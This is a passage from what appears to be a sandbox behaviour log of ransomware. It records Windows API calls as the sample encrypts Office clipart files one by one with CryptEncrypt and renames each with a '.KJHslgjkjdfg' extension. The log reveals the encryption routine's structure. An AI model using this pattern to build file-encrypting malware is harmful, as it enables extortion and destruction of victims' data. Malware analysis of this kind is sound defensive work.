lpNumberOfBytesWritten=0x290f270*=0xec0, lpOverlapped=0x0) returned 1 [0155.549] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.549] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.550] SetEndOfFile (hFile=0x114) returned 1 [0155.553] GetProcessHeap () returned 0x2a0000 [0155.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.553] GetProcessHeap () returned 0x2a0000 [0155.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.kjhslgjkjdfg")) returned 1 [0155.555] CloseHandle (hObject=0x114) returned 1 [0155.555] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0155.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.556] GetProcessHeap () returned 0x2a0000 [0155.556] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.556] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.556] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.556] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0155.657] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.657] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.657] GetProcessHeap () returned 0x2a0000 [0155.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0155.657] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0155.657] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.657] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0155.657] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.657] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.658] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.658] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.658] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.658] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd16, lpOverlapped=0x0) returned 1 [0155.658] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd20, dwBufLen=0xd20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd20) returned 1 [0155.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.658] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd20, lpOverlapped=0x0) returned 1 [0155.658] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.658] SetEndOfFile (hFile=0x114) returned 1 [0155.662] GetProcessHeap () returned 0x2a0000 [0155.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0155.662] GetProcessHeap () returned 0x2a0000 [0155.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.kjhslgjkjdfg")) returned 1 [0155.663] CloseHandle (hObject=0x114) returned 1 [0155.663] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0155.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.664] GetProcessHeap () returned 0x2a0000 [0155.664] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.664] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.671] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.671] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.671] GetProcessHeap () returned 0x2a0000 [0155.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.672] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.672] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.672] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.672] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.672] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.672] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.672] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.672] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.672] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.673] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x714c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x714c, lpOverlapped=0x0) returned 1 [0155.679] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7150, dwBufLen=0x7150 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7150) returned 1 [0155.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.680] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7150, lpOverlapped=0x0) returned 1 [0155.680] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.680] SetEndOfFile (hFile=0x114) returned 1 [0155.683] GetProcessHeap () returned 0x2a0000 [0155.684] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.684] GetProcessHeap () returned 0x2a0000 [0155.684] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.kjhslgjkjdfg")) returned 1 [0155.685] CloseHandle (hObject=0x114) returned 1 [0155.685] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0155.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.699] GetProcessHeap () returned 0x2a0000 [0155.699] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.699] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.699] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0155.704] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.704] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.704] GetProcessHeap () returned 0x2a0000 [0155.704] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.704] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.704] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.704] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.704] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.704] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.705] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.705] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.705] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.705] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.705] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x532, lpOverlapped=0x0) returned 1 [0155.705] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x540, dwBufLen=0x540 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x540) returned 1 [0155.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.706] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x540, lpOverlapped=0x0) returned 1 [0155.706] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.706] SetEndOfFile (hFile=0x114) returned 1 [0155.713] GetProcessHeap () returned 0x2a0000 [0155.713] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.713] GetProcessHeap () returned 0x2a0000 [0155.713] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.kjhslgjkjdfg")) returned 1 [0155.714] CloseHandle (hObject=0x114) returned 1 [0155.714] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0155.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.717] GetProcessHeap () returned 0x2a0000 [0155.717] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.717] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.717] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.718] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0155.721] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.721] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.721] GetProcessHeap () returned 0x2a0000 [0155.721] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.721] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.721] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.721] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.721] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.721] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.722] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.722] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.722] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.722] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5a4, lpOverlapped=0x0) returned 1 [0155.722] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b0) returned 1 [0155.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.722] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5b0, lpOverlapped=0x0) returned 1 [0155.722] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.722] SetEndOfFile (hFile=0x114) returned 1 [0155.725] GetProcessHeap () returned 0x2a0000 [0155.725] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.725] GetProcessHeap () returned 0x2a0000 [0155.726] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.kjhslgjkjdfg")) returned 1 [0155.727] CloseHandle (hObject=0x114) returned 1 [0155.727] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, 